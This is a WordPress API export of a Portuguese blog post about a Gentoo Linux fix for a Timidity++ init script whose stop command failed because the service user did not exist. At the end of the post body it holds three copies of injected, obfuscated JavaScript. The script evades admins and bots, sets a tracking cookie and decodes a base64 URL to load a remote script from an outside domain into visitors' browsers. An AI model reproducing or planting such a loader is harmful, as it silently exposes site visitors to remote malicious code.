{"id":3945,"date":"2013-06-04T07:26:14","date_gmt":"2013-06-04T10:26:14","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3945"},"modified":"2025-10-26T22:33:12","modified_gmt":"2025-10-27T01:33:12","slug":"erro-ao-parar-o-timidity","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/06\/04\/erro-ao-parar-o-timidity\/","title":{"rendered":"Erro ao parar o Timidity++"},"content":{"rendered":"<p>Mudei minha distro e estou usando o Gentoo. Fazia tempo que n\u00e3o usava o gentoo, desde 2005. Resolvi instalar no meu note e apesar de demorar um pouco, consegui deix\u00e1-lo redondinho.<\/p>\n<p>Recentemente, descobri um erro na instala\u00e7\u00e3o do <a title=\"Timidity++\" href=\"http:\/\/timidity.sourceforge.net\/\" target=\"_blank\" rel=\"noopener\">Timidity++<\/a>. Ap\u00f3s instal\u00e1-lo e tocar um midi com sucesso, ao desligar o computador recebi a seguinte mensagem:<\/p>\n<pre>\u00a0* Stopping TiMidity++ ...\n\u00a0* start-stop-daemon: no matching processes found<\/pre>\n<p>Resolvi investigar. O arquivo de inicializa\u00e7\u00e3o: \/etc\/init.d\/timidity possui o seguinte conte\u00fado:<\/p>\n<pre class=\"brush: bash; highlight: [11]; title: ; notranslate\" title=\"\">\n#!\/sbin\/runscript\n\ndepend() {\n        after alsasound esound\n}\n\nstart() {\n        ebegin &quot;Starting TiMidity++ Virtual Midi Sequencer&quot;\n        test -n &quot;$TIMIDITY_PCM_NAME&quot; &amp;&amp; export TIMIDITY_PCM_NAME\n        start-stop-daemon --start --background --chdir \/usr\/share\/timidity \\\n        --user timidity --group audio --make-pidfile --pidfile \/var\/run\/timidity.pid \\\n        --exec \/usr\/bin\/timidity -- -iA ${TIMIDITY_OPTS}\n        eend $?\n}\n\nstop() {\n        ebegin &quot;Stopping TiMidity++&quot;\n        start-stop-daemon --stop --quiet --pidfile \/var\/run\/timidity.pid\n        eend $?\n}\n<\/pre>\n<p>O que me chamou a aten\u00e7\u00e3o foi a linha 11. Primeiro motivo pelo usu\u00e1rio que n\u00e3o tenho (timidity) e segundo motivo pelo arquivo de PID (identificador do processo). Olhei o arquivo \/var\/run\/timidity.pid e verifiquei que o processo com o n\u00famero especificado n\u00e3o existia. Ou seja, o daemon do timidity n\u00e3o estava sendo executado. Resolvi alterar o usu\u00e1rio de execu\u00e7\u00e3o (--user timidity) pelo meu: \"-- user thiago\". Dessa forma o problema foi resolvido. Uma outra poss\u00edvel solu\u00e7\u00e3o seria criar o usu\u00e1rio timidity. Espero que ajude algu\u00e9m.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mudei minha distro e estou usando o Gentoo. Fazia tempo que n\u00e3o usava o gentoo, desde 2005. Resolvi instalar no meu note e apesar de demorar um pouco, consegui deix\u00e1-lo redondinho. Recentemente, descobri um erro na instala\u00e7\u00e3o do Timidity++. Ap\u00f3s <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/06\/04\/erro-ao-parar-o-timidity\/\">Continue lendo  <span class=\"screen-reader-text\">  Erro ao parar o Timidity++<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64],"tags":[],"class_list":["post-3945","post","type-post","status-publish","format-standard","hentry","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3945","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3945"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3945\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3945"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}